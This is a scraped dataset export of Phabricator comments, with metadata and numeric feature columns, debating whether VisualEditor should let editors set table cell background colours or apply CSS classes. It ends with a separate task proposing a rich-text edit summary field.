Please re-read my comment, where I accepted highlighting, as in a table, as a valid use case. But I'm also going to point out that the same information can and should be conveyed by a class. See also T37704.",,,1459596951,,PHID-USER-yawytiq5q7eduxmvnkid,False,,,PHID-TASK-ppmnn62nd4u24sclez4h,task_subcomment,,True,c1,3,False,,,143,,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,6.0,2.0,6.0,15.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,15.0,4.0,4.0,8.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,6.0,15.0,2.0,0.0,0.0,0.0,6.0,0.0,2.0,6.0,0.0,4.0,0.0,0.0,0.0,3.5,0.8076923076923077,"QUOTE
QUOTE

Please re-read my comment, where I accepted highlighting, as in a table, as a valid use case. But I'm also going to point out that the same information can and should be conveyed by a class. See also T37704."
638745,Be able to set table cell background (and other formatting options),"If random color should not be ""doable"" on the grounds that there's no reasonable use case for it, then James F wouldn't have recommended using ""random color"" in this edit:  https://www.mediawiki.org/w/index.php?diff=1647707&oldid=1647704  But he did, and therefore there is a reasonable use case to be made for having that ability.
",,,1459530568,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-ppmnn62nd4u24sclez4h,task_subcomment,,True,c1,3,False,,,143,,0.0,0.0,0.0,2.0,3.0,8.0,0.0,0.0,0.0,2.0,3.0,2.0,0.0,0.0,3.0,0.0,0.0,6.0,11.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,8.0,3.0,3.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,11.0,3.0,0.0,6.0,0.0,3.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,3.596774193548387,0.7741935483870968,"If random color should not be ""doable"" on the grounds that there's no reasonable use case for it, then James F wouldn't have recommended using ""random color"" in this edit:  URL  But he did, and therefore there is a reasonable use case to be made for having that ability.
"
632619,Be able to set table cell background (and other formatting options),">>! In T54180#969564, @Juandev wrote:
>>>! In T54180#966351, @Jdforrester-WMF wrote:
>> There's a strong use case to //not// let this be something people do. The colour in your example adds almost no value but massively distracts from the readability, accessibility and utility of the information being conveyed.
> 
> Probably strong case not to use it in Wikipedia, but what about Wikiversity. You may need to highlight cells just to be more atractive for the students or to be able to count someting better. I thing advanced MS Excell of Google Tabs already allow to search by table cell bg color.

This looks like a (really) strong use case for a class to be applied to a row/cell, //not// random style, if in fact ""highlighting"" is being used in multiple places.

I would tend to agree that random color should not be ""doable"" in VE, while permitting the addition of classes may be valuable (especially .wikitable if no others).",,,1458404950,,PHID-USER-yawytiq5q7eduxmvnkid,False,,,PHID-TASK-ppmnn62nd4u24sclez4h,task_subcomment,,True,c1,3,False,,,141,,0.0,0.0,0.0,4.0,1.0,8.0,1.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,1.0,2.0,4.0,15.0,0.0,2.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,14.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,6.0,10.0,5.0,0.0,7.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,1.0,15.0,7.0,0.0,5.0,0.0,1.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,3.642857142857143,0.6904761904761905,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

This looks like a (really) strong use case for a class to be applied to a row/cell, //not// random style, if in fact ""highlighting"" is being used in multiple places.

I would tend to agree that random color should not be ""doable"" in VE, while permitting the addition of classes may be valuable (especially .wikitable if no others)."
604066,Be able to set table cell background (and other formatting options),">>! In T54180#966571, @Krinkle wrote:
> Note that standardised styles (by the software or by local wikis) for tables can be developed and provided through program code (instead of through article content) by declaring them in CSS stylesheets (such as `MediaWiki:Common.css`).
> 
> I'd say it'd be an improvement if VisualEditor has an interface that can apply certain css classes to a table. Especially ones provided by MediaWiki core, such as `wikitable`, `sortable`, and `mw-collapsible`. (Though ideally through an intuitive interface, and not a free-form text field; which requires users to know internal software class names.)
> 
> ...

Agreed. One of the most common ""deviations"" made to table element defaults is changing the `vertical-align` of all (or nearly all) of the table cells in a table to render //top// rather than default //middle//.

Most folks assume this requires changing the default `vertical-align` value per every TR or per each TD within a table but the default is actually ''inherit'' for these elements - set by tbody, thead or tfoot which actually has the `vertical-align:middle` setting.

Understanding the tbody element is not 'shown but always present' we can still simplify the table rendering of cell content throughout an entire table by making a simple .css addition to the default stylesheets such as...

``` lang=""css""
.valign-td-top > tbody {
	vertical-align: top;
}
```
... in turn, setting `table class=""valign-td-top""` is all the user needs to add (either manually or by design in a VE table option) to accomplish top rendering of content.

Worst case scenario is the user needs to [re]adjust the TH header row's vertical-alignment back to middle - far less work than applying inline styling to each TR or every TD as is the case now.",,,1454639052,,PHID-USER-fflcyhesfpbopooupqa3,False,,,PHID-TASK-ppmnn62nd4u24sclez4h,task_subcomment,,True,c1,3,False,,,135,,2.6666666666666665,0.0,0.0,0.0,0.3333333333333333,4.666666666666667,1.0,0.0,0.0,0.0,1.6666666666666667,1.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,4.666666666666667,10.333333333333334,0.0,2.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,4.333333333333333,1.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.3333333333333333,2.6666666666666665,0.0,0.0,0.0,0.0,0.0,16.0,0.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,6.666666666666667,2.3333333333333335,7.666666666666667,0.0,3.0,10.333333333333334,0.0,0.0,0.0,0.0,3.0,0.0,0.3333333333333333,0.0,0.3333333333333333,10.333333333333334,4.333333333333333,0.0,1.6666666666666667,0.0,0.3333333333333333,0.0,0.3333333333333333,1.6666666666666667,0.0,2.3333333333333335,0.3333333333333333,1.0,0.3333333333333333,4.039573820395738,0.7249492643328259,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Agreed. One of the most common ""deviations"" made to table element defaults is changing the CODE of all (or nearly all) of the table cells in a table to render //top// rather than default //middle//.

Most folks assume this requires changing the default CODE value per every TR or per each TD within a table but the default is actually ''inherit'' for these elements - set by tbody, thead or tfoot which actually has the CODE setting.

Understanding the tbody element is not 'shown but always present' we can still simplify the table rendering of cell content throughout an entire table by making a simple .css addition to the default stylesheets such as...

``CODE`CODEtable class=""valign-td-top""` is all the user needs to add (either manually or by design in a VE table option) to accomplish top rendering of content.

Worst case scenario is the user needs to [re]adjust the TH header row's vertical-alignment back to middle - far less work than applying inline styling to each TR or every TD as is the case now."
467167,Be able to set table cell background (and other formatting options),">>! In T54180#971085, @Whatamidoing-WMF wrote:
> I wonder if it could be a feature that is configurable per-wiki, or ideally per-namespace at each wiki.  Then you could get (for example) teaching materials at WIkiversity that use it, but keep it out of the article namespace at the English Wikipedia.  (It would still need to accept copied/pasted tables, and maybe have a 'remove this background color' button—which we need anyway, because of tables copied from other websites.)

So should I understand your statment like we need community consensus for that?",,,1433206467,,PHID-USER-vm462i2ffbawnuo4mh3n,False,,,PHID-TASK-ppmnn62nd4u24sclez4h,task_subcomment,,True,c1,3,False,,,100,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,11.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,17.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,17.0,11.0,0.0,6.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.444444444444445,0.9444444444444444,"QUOTE
QUOTE

So should I understand your statment like we need community consensus for that?"
411841,Be able to set table cell background (and other formatting options),So the option per wiki is the best choise I guess. Namespaces are not standardized yet on some wv projcects.,,,1424002582,,PHID-USER-vm462i2ffbawnuo4mh3n,False,,,PHID-TASK-ppmnn62nd4u24sclez4h,task_subcomment,,True,c1,3,False,,,84,,5.0,0.0,0.0,5.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,14.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,4.045454545454546,0.9090909090909091,So the option per wiki is the best choise I guess. Namespaces are not standardized yet on some wv projcects.
398350,Be able to set table cell background (and other formatting options),"I wonder if it could be a feature that is configurable per-wiki, or ideally per-namespace at each wiki.  Then you could get (for example) teaching materials at WIkiversity that use it, but keep it out of the article namespace at the English Wikipedia.  (It would still need to accept copied/pasted tables, and maybe have a 'remove this background color' button—which we need anyway, because of tables copied from other websites.)",,,1421081161,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-ppmnn62nd4u24sclez4h,task_subcomment,,True,c1,3,False,,,80,,1.0,0.0,0.0,0.0,0.0,3.0,2.0,1.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,14.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,5.0,1.0,4.0,0.0,1.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,14.0,1.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,4.0,2.0,6.0,2.0,3.0,8.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,8.0,14.0,3.0,0.0,2.0,0.0,8.0,0.0,3.0,2.0,0.0,1.0,0.0,0.0,0.0,3.870967741935484,0.7311827956989247,"I wonder if it could be a feature that is configurable per-wiki, or ideally per-namespace at each wiki.  Then you could get (for example) teaching materials at WIkiversity that use it, but keep it out of the article namespace at the English Wikipedia.  (It would still need to accept copied/pasted tables, and maybe have a 'remove this background color' button—which we need anyway, because of tables copied from other websites.)"
398096,Be able to set table cell background (and other formatting options),">>! In T54180#966351, @Jdforrester-WMF wrote:
> There's a strong use case to //not// let this be something people do. The colour in your example adds almost no value but massively distracts from the readability, accessibility and utility of the information being conveyed.

Probably strong case not to use it in Wikipedia, but what about Wikiversity. You may need to highlight cells just to be more atractive for the students or to be able to count someting better. I thing advanced MS Excell of Google Tabs already allow to search by table cell bg color.",,,1421024302,,PHID-USER-vm462i2ffbawnuo4mh3n,False,,,PHID-TASK-ppmnn62nd4u24sclez4h,task_subcomment,,True,c1,3,False,,,80,,0.0,0.0,0.0,0.0,2.0,5.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,10.0,18.0,0.0,10.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,18.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,5.0,18.0,10.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,2.0,3.0,0.0,0.0,4.05,0.85,"QUOTE
QUOTE

Probably strong case not to use it in Wikipedia, but what about Wikiversity. You may need to highlight cells just to be more atractive for the students or to be able to count someting better. I thing advanced MS Excell of Google Tabs already allow to search by table cell bg color."
397657,Be able to set table cell background (and other formatting options),"> The colour...distracts from the readability, accessibility and utility of the information being conveyed.

Making it possible and even moderately easy to render this image in a table instead of in an image would IMO be a significant improvement in the readability, accessibility and utility of the information.  For example, someone with a screen reader could actually read it, and anyone could edit the contents.

I'm not looking for fruit salad in encyclopedia articles, but when someone wants to create a table like this, I want them to think ""Oooh, I can do that in VisualEditor"", not ""I'll draw this in Adobe Illustrator, export it as a jpeg, upload it to Commons, insert it on a page in mediawiki.org, and every time someone needs to have a simple typo fixed, I'll repeat that process.""

",,,1420843846,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-ppmnn62nd4u24sclez4h,task_subcomment,,True,c1,3,False,,,79,,0.5,2.0,0.0,0.0,1.0,2.0,0.5,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,3.0,0.0,4.0,12.0,2.0,2.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.5,2.0,0.0,2.5,0.5,3.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,2.5,0.0,0.0,0.0,0.0,0.5,10.0,0.5,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,6.0,0.5,8.5,0.5,2.5,10.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,7.0,12.0,3.5,0.0,2.5,0.0,7.0,0.0,0.5,4.5,0.5,1.0,0.0,0.0,0.5,3.9148463532025177,0.6935394298407997,"QUOTE

Making it possible and even moderately easy to render this image in a table instead of in an image would IMO be a significant improvement in the readability, accessibility and utility of the information.  For example, someone with a screen reader could actually read it, and anyone could edit the contents.

I'm not looking for fruit salad in encyclopedia articles, but when someone wants to create a table like this, I want them to think ""Oooh, I can do that in VisualEditor"", not ""I'll draw this in Adobe Illustrator, export it as a jpeg, upload it to Commons, insert it on a page in mediawiki.org, and every time someone needs to have a simple typo fixed, I'll repeat that process.""

"
397656,Be able to set table cell background (and other formatting options),"> The colour...distracts from the readability, accessibility and utility of
the information being conveyed.

Making it possible and even moderately easy to render this image in a table
instead of in an image would IMO be a significant improvement in the
readability, accessibility and utility of the information.  For example,
someone with a screen reader could actually read it, and anyone could edit
the contents.

I'm not looking for fruit salad in encyclopedia articles, but when someone
wants to create a table like this, I want them to think ""Oooh, I can do
that in VisualEditor"", not ""I'll draw this in Adobe Illustrator, export it
as a jpeg, upload it to Commons, insert it on a page in mediawiki.org, and
every time someone needs to have a simple typo fixed, I'll repeat that
process.""





Whatamidoing (WMF)/Sherry Snyder
Community Liaison
Wikimedia Foundation, Inc.",,,1420843792,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-ppmnn62nd4u24sclez4h,task_subcomment,,True,c1,3,False,,,79,,0.5,2.0,0.0,0.5,1.0,2.0,0.5,0.0,0.0,0.0,5.0,1.5,0.0,0.0,0.0,3.0,0.0,4.0,10.5,2.0,2.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.5,1.5,0.5,2.0,0.5,2.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,3.0,0.0,0.0,0.0,0.0,0.5,9.5,0.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,6.5,1.0,12.5,0.5,2.5,9.5,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,6.0,10.5,7.5,0.0,2.5,0.0,6.0,0.0,0.5,4.5,0.5,1.0,0.0,0.0,0.5,3.9655172413793105,0.6609195402298851,"QUOTE
the information being conveyed.

Making it possible and even moderately easy to render this image in a table
instead of in an image would IMO be a significant improvement in the
readability, accessibility and utility of the information.  For example,
someone with a screen reader could actually read it, and anyone could edit
the contents.

I'm not looking for fruit salad in encyclopedia articles, but when someone
wants to create a table like this, I want them to think ""Oooh, I can do
that in VisualEditor"", not ""I'll draw this in Adobe Illustrator, export it
as a jpeg, upload it to Commons, insert it on a page in mediawiki.org, and
every time someone needs to have a simple typo fixed, I'll repeat that
process.""





Whatamidoing (WMF)/Sherry Snyder
Community Liaison
Wikimedia Foundation, Inc."
397496,Be able to set table cell background (and other formatting options),"Note that standardised styles (by the software or by local wikis) for tables can be developed and provided through program code (instead of through article content) by declaring them in CSS stylesheets (such as `MediaWiki:Common.css`).

I'd say it'd be an improvement if VisualEditor has an interface that can apply certain css classes to a table. Especially ones provided by MediaWiki core, such as `wikitable`, `sortable`, and `mw-collapsible`. (Though ideally through an intuitive interface, and not a free-form text field; which requires users to know internal software class names.)

And potentially a few other class-name / label combinations provided by the local wiki. There's definitely a use case for having more than one type of table for all of Wikipedia.",,,1420833804,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ppmnn62nd4u24sclez4h,task_subcomment,,True,c1,3,True,,,79,,1.5,0.0,0.0,0.5,0.5,7.5,0.5,0.0,0.5,0.5,2.0,1.0,0.0,0.0,0.5,0.5,0.0,3.5,13.5,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,1.0,0.0,2.0,1.0,0.5,1.0,0.0,0.0,0.5,0.0,0.5,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.5,0.5,19.0,0.0,0.0,0.0,0.5,0.0,1.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,5.5,1.0,8.5,1.5,3.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.5,0.0,1.5,13.5,4.0,0.0,0.0,0.0,1.5,0.0,1.0,4.0,0.5,1.0,0.5,0.0,0.0,4.134950018511662,0.7960014809329878,"Note that standardised styles (by the software or by local wikis) for tables can be developed and provided through program code (instead of through article content) by declaring them in CSS stylesheets (such as CODE).

I'd say it'd be an improvement if VisualEditor has an interface that can apply certain css classes to a table. Especially ones provided by MediaWiki core, such as CODE, CODE, and CODE. (Though ideally through an intuitive interface, and not a free-form text field; which requires users to know internal software class names.)

And potentially a few other class-name / label combinations provided by the local wiki. There's definitely a use case for having more than one type of table for all of Wikipedia."
397495,Be able to set table cell background (and other formatting options),"Note that standardised styles (by the software or by local wikis) for tables can be developed and provided through program code (instead of through article content) by declaring them in CSS stylesheets (such as `MediaWiki:Common.css`).

I'd say it'd be an improvement if VisualEditor has an interface that can apply certain css classes to a table. Especially ones provided by MediaWiki core, such as `wikitable`, `sortable` and `mw-collapsible` (though ideally through an intuitive interface, and not a free-form text field (which requires users to know internal software class names).

And potentially a few other class-name / label combinations provided by the local wiki. There's definitely a use case for having more than one type of table for all of Wikipedia.",,,1420833751,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ppmnn62nd4u24sclez4h,task_subcomment,,True,c1,3,True,,,79,,1.5,0.0,0.0,0.5,0.5,7.5,0.5,0.0,0.5,0.5,2.0,1.0,0.0,0.0,0.5,0.5,0.0,4.0,13.5,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,2.0,1.0,0.5,1.0,0.0,0.0,0.5,0.0,0.5,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.5,0.5,19.0,0.0,0.0,0.0,0.5,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,5.5,1.0,7.5,1.5,3.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.5,0.0,1.5,13.5,4.5,0.0,0.0,0.0,1.5,0.0,1.0,4.5,0.5,1.0,0.5,0.0,0.0,4.178462709284627,0.8069824961948249,"Note that standardised styles (by the software or by local wikis) for tables can be developed and provided through program code (instead of through article content) by declaring them in CSS stylesheets (such as CODE).

I'd say it'd be an improvement if VisualEditor has an interface that can apply certain css classes to a table. Especially ones provided by MediaWiki core, such as CODE, CODE and CODE (though ideally through an intuitive interface, and not a free-form text field (which requires users to know internal software class names).

And potentially a few other class-name / label combinations provided by the local wiki. There's definitely a use case for having more than one type of table for all of Wikipedia."
397457,Be able to set table cell background (and other formatting options),"There's a strong use case to //not// let this be something people do. The colour in your example adds almost no value but massively distracts from the readability, accessibility and utility of the information being conveyed.",,,1420829910,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ppmnn62nd4u24sclez4h,task_subcomment,,True,c1,3,True,,,79,,0.0,2.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,10.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,10.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,5.0,0.0,5.0,15.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,10.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.725,0.95,"There's a strong use case to //not// let this be something people do. The colour in your example adds almost no value but massively distracts from the readability, accessibility and utility of the information being conveyed."
397451,Be able to set table cell background (and other formatting options),"In terms of the scope for this item:  I'd like (Howie) to be able to create this table in VisualEditor:  https://www.mediawiki.org/wiki/File:Product_stages_and_players.jpg

I'm not entirely sure how to do it in wikitext, but that's what I want to be able to do.
",,,1420829373,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-ppmnn62nd4u24sclez4h,task_subcomment,,True,c1,3,False,,,79,,0.0,0.0,2.0,0.0,2.0,6.0,4.0,0.0,0.0,0.0,6.0,4.0,0.0,0.0,0.0,6.0,0.0,6.0,19.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,9.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,13.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,7.0,19.0,6.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.962962962962963,0.7592592592592593,"In terms of the scope for this item:  I'd like (Howie) to be able to create this table in VisualEditor:  URL

I'm not entirely sure how to do it in wikitext, but that's what I want to be able to do.
"
244014,Be able to set table cell background (and other formatting options),This issue of table cell paragraph formatting is now Bug 65416.,,,1400273034,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-ppmnn62nd4u24sclez4h,task_subcomment,,True,c1,3,False,,,45,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,42.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,17.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.416666666666667,1.0,This issue of table cell paragraph formatting is now Bug 65416.
244006,Be able to set table cell background (and other formatting options),"(In reply to WhatamIdoing from comment #1)
> ""Other formatting"" should include support for font size and line height, so
> that tables like the ones seen at
> https://en.wikipedia.org/w/index.php?oldid=608813235#Early_years will
> display with the correct row height.

No, that's a bug caused by VE assuming that table cells' paragraphs should be styled like other paragraphs. That's a fix to styling rules, nothing to do with editing them to have custom styles. Could you file a new bug?",,,1400270237,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ppmnn62nd4u24sclez4h,task_subcomment,,True,c1,3,True,,,45,,0.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,1.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,3.0,1.0,0.0,3.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,22.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,15.0,1.0,0.0,7.0,0.0,0.0,0.0,1.0,6.0,0.0,1.0,0.0,3.0,15.0,6.0,1.0,1.0,0.0,3.0,0.0,0.0,4.0,1.0,3.0,0.0,0.0,0.0,3.611940298507463,0.746268656716418,"(In reply to WhatamIdoing from comment #1)
QUOTE
QUOTE
QUOTE
QUOTE

No, that's a bug caused by VE assuming that table cells' paragraphs should be styled like other paragraphs. That's a fix to styling rules, nothing to do with editing them to have custom styles. Could you file a new bug?"
244000,Be able to set table cell background (and other formatting options),"""Other formatting"" should include support for font size and line height, so that tables like the ones seen at https://en.wikipedia.org/w/index.php?oldid=608813235#Early_years will display with the correct row height.",,,1400265859,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-ppmnn62nd4u24sclez4h,task_subcomment,,True,c1,3,False,,,45,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,19.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,3.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.161290322580645,0.9032258064516129,"""Other formatting"" should include support for font size and line height, so that tables like the ones seen at URL will display with the correct row height."
54174,VisualEditor: Make the edit summary a mini-VE surface so users can put in links etc.,"Links are frequently placed in edit summaries but the user is currently perversely required to revert to wikicode to insert them.  The VisEd menu should be available for the edit summary and the text should be displayed as it will be seen.  Wysiwyg should apply to all elements of the edit summary (eg, the recently added section title is displayed as code rather than the grey italics as it will be seen).

=== Potential use cases/impacts/hypotheses 
- **[potential impact]**: if people publishing edits write more expressive edit summaries, these edit summaries will be compelling/interesting to people whose primarily relationship to Wikipedia is as as a reader
-- //See more in {T379405}
- **[potential use case]**: enable people to relate edits to the events/campaigns that inspired them to make them (T373232)
-- //Inspired @AlexHollender-WMF and @ifried...//
- **[hypothesis]** If people have an easier time doing things like mentioning other people, inserting links, and formatting text within the edit summary input, they will invest more effort into writing edit summaries.
- **[potential impact]** If people write more descriptive edit summaries, then machine learning models will become more effecting at learning from the actions volunteers are taking because these models will have to make fewer inferences/assumptions about the semantic meaning of a change/changes someone is making. //This thought is inspired by the conversation we (the Editing Team) had with @diego on 27 July 2022.//
- **[potential impact]** If people write more descriptive edit summaries, then people visiting an article's ""page history""  will have an easier time: A) understanding how the article they are interested in evolved over time and B) identifying changes they are curious to learn more about
-- this could also open up the potential for edits/diffs being presented as small, standalone pieces of information people could ""consume"" 

=== Related
- T123529
- T323875
